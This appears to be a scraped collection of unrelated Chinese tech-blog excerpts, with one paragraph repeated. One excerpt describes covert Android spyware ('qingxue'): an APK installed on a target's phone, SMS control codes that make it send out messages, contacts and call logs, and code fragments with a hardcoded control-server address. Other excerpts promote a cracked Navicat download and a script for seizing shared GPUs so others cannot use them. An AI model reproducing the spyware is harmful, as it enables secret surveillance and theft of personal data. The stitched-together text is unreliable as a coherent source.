2、已读未读人数,只有发送者查看这条消息的时候才关心。发送者如果在App上做别的事情,根本不需要关心当前有多少人已读。因此直接推送已读确认也不合适。 如果变为客户端查看的时候主动拉取呢?...主动拉取同样存在一些挑战 1、主动拉取如果拉取时间间隔过大,已读未读人数更新不及时 2、时间间隔太小,消耗流量、电量 IM系统的特点是推拉结合,采用推拉结合的方案会不会更好呢?...2、同时客户端向服务端请求订阅该条消息的回执消息(退出这个会话取消订阅) 3、服务端收到此消息的已读确认消息,向用户推送 这样看似较完美,实际上仍然面临推消息的挑战。...我们注意到这类消息用户实际使用场景,用户只在需要查看这条消息已读情况的较短时间内关心已读未读数量。 因此设置一个合理的主动拉取策略就可以比较好的解决这个问题,整个流程如下图。 ?...如果用户长时间停留在这条回执消息,拉取未读人数的频率会随着时间衰减,不会造成流量和电量的浪费。 这个策略在功能、性能、实现复杂度之间求得一个较好的平衡!
今天有个做数据库的前同事,在群里发了自己的数据库,并把主机,端口,用户名,密码一并发了出来,然而,我尝试着去连接访问。...首先我下载了一个Navicat for MYSQL Mac 破解版 ,连接如下:http://www.cnblogs.com/xiaopin/p/5867954.html,下载的注册机打不开,但是并不影响...下载安装好之后,打开navicat,点击左上角的connection-mysql,将主机,端口,用户名,密码,一并输入,点击Test Connection就可以了,如果成功,就会显示successful
大家在网上看到的网页信息,其实是一个又一个网站搭建起来的,有些小伙伴就好奇这个网站是如何搭建的。网站的搭建少不来三样东西:网站源码、域名与服务器,三者缺一不可。...网站服务器的链接是需要用到ftp,ftp是用来上传网站的信息,那么ftp服务器是如何工作的?下面就一起来看看吧。...ftp服务器是如何工作的 ftp服务器的工作原理很简单,就是用ftp的链接、用户名以及密码建立命令式链路,就相当给服务器开通一条通道,网站想要展示各种信息内容,就要制作相关的内容源码,再通过这条通道上传相关的内容...ftp服务器如何进入 想要连接进入ftp服务器,就要在电脑上安装相关的ftp软件,这款软件在网上有很多种,大家根据自己的需求进行下载就好。...关于ftp服务器是如何工作的讲解就到这里了。
如图所示:
《人性的弱点》读书笔记-2 13,要想自己开心,先要让别人开心 先不要问为什么不是别人先让我开心,而是我要先去尽力取悦别人。...14,不要去批评别人来得到自身的满足 经常看到有一些人,因为嫉妒别人比他强,所以会毁谤别人,说一些不好听的话,在他背后来诋毁他,我们不要这样做,我觉得这是一种非常无能,而且没有任何意义的事情,不但自己不会有所提升...16,学会自我批评 富兰克林每天都会反省一次,自己哪里做的不好,哪里做的好,不好的地方该如何改进,就这样,他发现过13处非常大的错误,其中有三条是,第一浪费时间,第二关注琐事,第三容易和他人争辩。...24,要尊重他人的意见 如果别人是错的,你不要直接的对他说,你错了,你可以比别人聪明,但不要让他们知道。你可以非常委婉的说出你的观点。不要去激怒别人。...想要妥善地解决问题,想要赢得别人的尊重,就要友好的对待别人,从别人的角度出发考虑问题,不要满口的责备谩骂。
关于大家一直说怎么使用,我来简单的说明一下吧,讲工程文件中的apk文件安装在你想监控的人的手机中,然后随便找个手机给他 发短信"qingxue:12" 表示以短信的模式获取 再发"qingxue:1"...13————设置获取客户端所有短信的模式为网络优先发送模式 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式..."; //控制端的网络服务器192.168.137.218 221.234.230.22 public static final String CONTROL_SERVER_ADDRESS =..._ID)); // 获取联系人的ID号,在SQLite中的数据库ID Cursor phone = cr.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI...接收"; } else if (typeId == 2) { type = "发送"; } else if (typeId == 0) { type = "未读"
但是除了我们的聊天之外他与客户的对话引发了我的思考,上面也说了他国庆没有放假还在做生意,所以他与客户的每一个环节,我都一直在注意的看着。...我的这个同学算是比较善于和别人打交道的,你和他聊天的过程中你会发现他的 “套路” 非常多,这里套路我打个引号大家都明白的。...从我的观察来看,两者的结果有很大的差别。 我发现他和每个客户在沟通的时候,在处理一些客户问答时都处理的非常恰当让人听起来非常的舒服,然后我就思考了他的一些说话方式,总结了一些套路。...见什么人,说什么话,是真人不容易,甚至是非常的难,是我们每个人都应该去学习的,会说话不是说我们去忽悠别人,去巧舌如簧,去把黑的说成白的,去把梳子卖给和尚。...而且是更高效的与人沟通,让别人更加容易理解我们表达什么。
但当你兴高采烈登上服务器,一看显卡全部被占满,这你总不能一直盯着别人的程序跑结束,然后赶紧跑你的程序吧,那岂不是要累死。...所以,我给大家写了一个抢占GPU的脚本,只需要花几秒钟运行一下就可以关机去玩了,卷死别人! 有人可能会说,网上抢占的脚本多的是啊,你这有啥区别?...你自己程序的执行脚本路径(可选)。你可以选择抢占到显卡后,执行你自己的程序,例如模型训练代码。你也可以不指定,这样默认使用我提供的程序,一直把卡占着,别人也用不了。...实际应用举例 举两个实际场景中的例子。 第一个场景,你实验室服务器有8张32GB显存的显卡,但是都被人占满了,你想等他运行完就立刻占住跑你自己的程序gpu.sh,那么可以直接执行下面命令: ....第二个场景,你现在也没啥程序想跑的,但就想在服务器空闲的时候占住显卡,防止别人抢了,那你可以执行下面命令: .
这样可以很方清晰地控制调用频率,但是现在数据库有第三方在调用,而我们又无法从系统上控制别人的使用频率,如果对方调用的频率太高,引发数据库连接数不够用,会影响到自身的业务。...同时,接口也屏蔽了系统内部的实现细节,调用方只关系自己需要的内容,只要出入参数不变,内部如何重构,都是可以的。 文件共享:在传输大量的数据内容时,接口就会有问题,比如连接超时、网络占用过高等。...A系统把数据处理好,按照规定的格式生成文件,然后放到中间的文件服务器上,B系统在另一个时间段根据规则从文件服务器上获取这份数据,并解析处理。笔者在之前处理医院系统的数据时,就是这么做的。...医院在晚上11点把当天的数据处理好,并上传的文件服务器上,我们的系统12点再从服务器上获取文件,并做数据的处理(大约是2G左右的数量,如果走接口,不合适)。...对于这种依赖数据,如何处理,之前也讨论过,可参考:模拟数据在实际场景中的应用
这样可以很方清晰地控制调用频率,但是现在数据库有第三方在调用,而我们又无法从系统上控制别人的使用频率,如果对方调用的频率太高,引发数据库连接数不够用,会影响到自身的业务。...同时,接口也屏蔽了系统内部的实现细节,调用方只关系自己需要的内容,只要出入参数不变,内部如何重构,都是可以的。 文件共享:在传输大量的数据内容时,接口就会有问题,比如连接超时、网络占用过高等。...A系统把数据处理好,按照规定的格式生成文件,然后放到中间的文件服务器上,B系统在另一个时间段根据规则从文件服务器上获取这份数据,并解析处理。笔者在之前处理医院系统的数据时,就是这么做的。...医院在晚上11点把当天的数据处理好,并上传的文件服务器上,我们的系统12点再从服务器上获取文件,并做数据的处理(大约是2G左右的数量,如果走接口,不合适)。...对于这种依赖数据,如何处理,之前也讨论过,可参考:模拟数据在实际场景中的应用 往期推荐: 微服务的测试策略 微服务间的测试策略 单体微服务的测试策略 你还记得测试策略么 敏捷测试系列文章合集 END
EasyNVR是基于RTSP/Onvif协议的视频接入、处理及分发的安防视频云平台,可提供的视频能力包括:设备接入、实时视频直播、录像、云存储、录像回放与检索、告警、级联等,平台可支持将接入的视频流进行全平台...、全终端的分发,分发的视频流包括RTSP、RTMP、HTTP-FLV、WS-FLV、HLS、WebRTC等格式。...我们在此前也推出过EasyNVR硬件,它属于软硬一体的产品,可以放置在项目现场,通电连网即可成功运行,适用于网络环境较差的场景中。...有用户反馈,EasyNVR硬件出现了不能进入服务器的情况,不知道如何解决。...今天我们就来分享一下解决方法,操作步骤如下:1)拔电重启,进入bios页面的boot;2)在boot内设置首启动项为ubuntu(如果没有该启动项,说明硬盘出现了问题,可以拆机重新插拔下硬盘或者返厂维修
类型提示 当我在看一些第三方库时,看到了如些的写法。...def add(x:int, y:int) -> int: return x + y 这里的冒号和箭头是什么东西了,当时是很奇怪这里的写法,后面在网上查阅资料时,说是type hints,也就是类型提示...这一点是不会改变的,但在 Python 3.5 引入了一个类型系统,允许开发者指定变量类型。它的主要作用是方便开发,供IDE 和各种开发工具使用,对代码运行不产生影响,运行时会过滤类型信息。...例如上面的代码,我们就知道传入的x和y是整数型,返回的也是整数型,但是我们需要注意的是,如果不按照其指定类型传入参数,代码也是不会报错的。...,通过函数定义,我们就可以看出参数的类型。
直接用html+css+js生写还是挺费工的。最快的方法是直接照抄网页。...本文例子不需要其它工具,只用浏览器的“另存页面为”和“查看页面源代码”两个功能来照抄网页,结果证明,不考虑js功能,仅看网页外观,是完全可以做出一模一样的网页的。...浏览器的新标签中会打开一个完整的html文件, ? 复制html全部内容到testindex.html,这个文件就是我们网页的主页面。将红框中引入的css文件和js文件的目录去掉../.....要获得需要的js和css文件用“另存页面为”可以得到 ? 箭头指向的文件夹内有testindex.html需要的全部js和css ? ?...图片其实不用下载,我们的网页不可能用人家的原图,自己做好图片放到正确的目录下,页面会展示我们自己的图。 js文件涉及和后台服务的交互,我们只需要模仿外观,可以把引入的js文件都注释掉。
github网站上操作 打开自己的仓库,进入code下面。 点击new pull request创建。...点击Merge pull request 合并从源fork来的代码。 7. 完成。
为了提高帮大家debug的效率,建议大家使用1024code协作工具。 前言 最近私信我debug的朋友太多了,微信沟通的效率很低,不管是贴代码段还是截图,效率都太低了。...上利器 1024code是一个非常好用的在线协作网站,首先解决了环境不一致的问题,更重要解决了在线协作的问题,能帮我们节省很多无效的沟通时间。...而且这是一个网站,并不需要下载,不会浪费大家时间,只需要注册一下就可以了,这也是我喜欢的原因之一。 我们向别人提问,最重要的是复现问题和场景。有些时候别人不愿意解答不是不想帮忙,而是无从下手。...我们通过1024code这类代码协作工具整理自己的代码和问题,对自己来说也是个梳理的过程,当我们能清晰的向别人展示开发环境、场景、出问题的代码时,这样别人就能快速帮忙debug了。...4.2 如果你想以协作方式分享你的代码,邀请别人帮你debug或者一起完成项目的开发,请选择协作模式。
可以在数据操作过程中利用数据库的锁机制或者多版本并发控制机制获取更高的隔离等级。 但是,随着数据库隔离级别的提高,数据的并发能力也会有所下降。...所以,如何在并发性和隔离性之间做一个很好的权衡就成了一个至关重要的问题。 奥。你说的这个我明白,但是具体的隔离级别和读现象有什么关系呢? ?...我们之间的隔离性很差。 这显然不是我们想要看到的现象啊。 ? 是的。我们不希望代码在未提交的状态下被别人读到。 ? 嗯,那脏读这种情况实在是太不应该了。 ? 是的,接着我们看下提高一点隔离性。 ?...幻读是不可重复读的一种特殊场景。 哦,我明白了。原来这就是幻读。 ? 是的,幻读的情况其实也是可以解决的。 ? 我知道如何解决,就是我读代码的时候你不要做任何修改。 ? 额,是的。 ?...通过在读的时候加锁,可以解决不可重复读。 通过串行化,可以解决幻读。 以上这几种解决方案其实是数据库的几种隔离级别。
有时候站点部署好以后,长时间不登录密码就忘记了,如果重新导入初始的数据会导致整个站点数据初始化,非常麻烦,我们常用的做法就是进数据库直接修改密码。...1,打开宝塔面板--找到对应站点的数据库--点管理 2,进入phpmyadmin后台--找到存放账号的数据表--如图所示 3,这个表存放的是加密后的密码,所以在修改密码之前,你要知道你站点的密码加密规则...,大部分都是采用哈希+MD5,但是具体的要看程序怎么实现的,这种方式的前提是你知道加密规则,如果不知道加密规则怎么办?...如果是开放式站点,可以注册个账号,密码设置成 123456 在后台找到对应账号的密码并复制,然后把复制好的密码修改成你要找回的密码即可
云服务器是这两年非常火爆的一个概念,不管是机关单位还是企业公司等,都会使用云服务器这一服务,因为云服务器具有传统服务器所不具备的诸多优势,其中云服务器所具有的核心内容就是云数据库,那么云服务器的数据库是什么呢...如何使用云服务器的数据库呢? 云服务器的数据库是什么 云服务器是一种超越了传统服务器的新型服务器,这种服务器主要可以帮助企业或者公司存储相关的数据信息,主要存储在数据库中。...如何使用云服务器的数据库 云服务器的数据库对于不少企业管理者来说是一个非常陌生的概念,所以他们也不知道如何使用云服务器的数据库,想要正常使用云服务器的数据库,首先需要进行云服务器的连接。...企业管理者需要进入到云服务器中,并点击配置,选择相应的安全管理防火墙等确保云服务器是安全的。 等待确认云服务器的安全环境后,再进入云服务器的数据库,依次点击用户、数据库编辑权限等按钮。...以上分别为大家介绍了什么是云服务器的数据库,以及如何使用云服务器的数据库,使用云服务器的数据库并没有太大的操作难度,只需要进行相应的链接即可正常使用。
我们知道,在开发一个应用的过程中,需要涉及代码、操作系统、网络和数据库等多个方面。...另外,我在 Web 安全中讲过,黑客可以通过很多漏洞控制 Linux 服务器,那我们又该如何避免和控制黑客的破坏呢? ▌如何理解 Linux 中的安全模型?...比如,“打开 /etc/passwd”这一操作的主体是实际的用户,请求是读,客体是 /etc/passwd 这个文件。 ?...Linux 用户层则需要确保权限的正确配置,这就是我开篇提到的,如何保证多人安全地共用服务器的关键,也是我们这节课需要关注的重点内容。 ▌黄金法则是如何在 Linux 系统中应用的?...▌下一讲 网络安全:和别人共用Wi-Fi时,你的信息会被窃取吗?
,所以现在的云游戏就火热起来,在云游戏上面可以玩各种大型游戏,很多厂家也在推出自己的云游戏平台,厂家可以在云游戏管理服务器管理游戏,那么云游戏管理服务器如何进入?...云游戏管理服务器可以选择哪家? 云游戏管理服务器如何进入? 云游戏平台是需要服务器支持的,很多人会问云游戏管理服务器如何进入?...一般来说云游戏管理服务器是需要非常高的权限的,拥有云游戏管理服务器权限的都是游戏厂商,进入的方法也非常简单,只要在购买服务器的厂商网站里面就可以直接进入。 云游戏管理服务器可以选择哪家?...现在很多服务器厂商都推出了自己的云游戏管理服务器,那么云游戏管理服务器可以选择哪家?大家可以根据自己的需求去选购云游戏管理服务器,比如现在非常好用的腾讯云服务器就非常适合,价格也比较低。...相信大家看了上面的文章内容已经知道云游戏管理服务器如何进入了,云游戏平台随着技术不断成熟,支持的游戏也会越来越多,玩家们如果对云游戏平台有兴趣的话,可以下载正规的云游戏平台尝试一下。
领取专属 10元无门槛券
手把手带您无忧上云